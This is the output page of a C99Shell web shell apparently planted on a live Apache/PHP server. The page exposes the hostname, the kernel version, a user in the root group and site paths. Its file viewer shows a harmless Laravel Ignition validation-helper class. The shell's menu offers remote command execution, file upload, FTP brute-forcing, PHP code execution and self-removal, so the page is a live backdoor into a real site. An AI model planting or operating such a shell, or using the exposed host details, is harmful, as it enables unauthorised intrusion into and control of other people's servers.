!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/facade/ignition/src/SolutionProviders/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UnknownValidationSolutionProvider.php (2.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Facade\Ignition\SolutionProviders;

use 
BadMethodCallException;
use 
Facade\Ignition\Support\StringComparator;
use 
Facade\IgnitionContracts\BaseSolution;
use 
Facade\IgnitionContracts\HasSolutionsForThrowable;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Str;
use 
Illuminate\Validation\Validator;
use 
ReflectionClass;
use 
ReflectionMethod;
use 
Throwable;

class 
UnknownValidationSolutionProvider implements HasSolutionsForThrowable
{
    protected const 
REGEX '/Illuminate\\\\Validation\\\\Validator::(?P<method>validate(?!(Attribute|UsingCustomRule))[A-Z][a-zA-Z]+)/m';

    public function 
canSolve(Throwable $throwable): bool
    
{
        if (! 
$throwable instanceof BadMethodCallException) {
            return 
false;
        }

        return ! 
is_null($this->getMethodFromExceptionMessage($throwable->getMessage()));
    }

    public function 
getSolutions(Throwable $throwable): array
    {
        return [
            
BaseSolution::create('Unknown Validation Rule')
                ->
setSolutionDescription($this->getSolutionDescription($throwable)),
        ];
    }

    protected function 
getSolutionDescription(Throwable $throwable): string
    
{
        
$method $this->getMethodFromExceptionMessage($throwable->getMessage());

        
$possibleMethod StringComparator::findSimilarText(
            
$this->getAvailableMethods()->toArray(),
            
$method
        
);

        if (empty(
$possibleMethod)) {
            return 
'';
        }

        
$rule Str::snake(str_replace('validate'''$possibleMethod));

        return 
"Did you mean `{$rule}` ?";
    }

    protected function 
getMethodFromExceptionMessage(string $message): ?string
    
{
        if (! 
preg_match(self::REGEX$message$matches)) {
            return 
null;
        }

        return 
$matches['method'];
    }

    protected function 
getAvailableMethods(): Collection
    
{
        
$class = new ReflectionClass(Validator::class);

        
$extensions Collection::make((app('validator')->make([], []))->extensions)
            ->
keys()
            ->
map(function (string $extension) {
                return 
'validate'.Str::studly($extension);
            });

        return 
Collection::make($class->getMethods())
            ->
filter(function (ReflectionMethod $method) {
                return 
preg_match('/(validate(?!(Attribute|UsingCustomRule))[A-Z][a-zA-Z]+)/'$method->name);
            })
            ->
map(function (ReflectionMethod $method) {
                return 
$method->name;
            })
            ->
merge($extensions);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--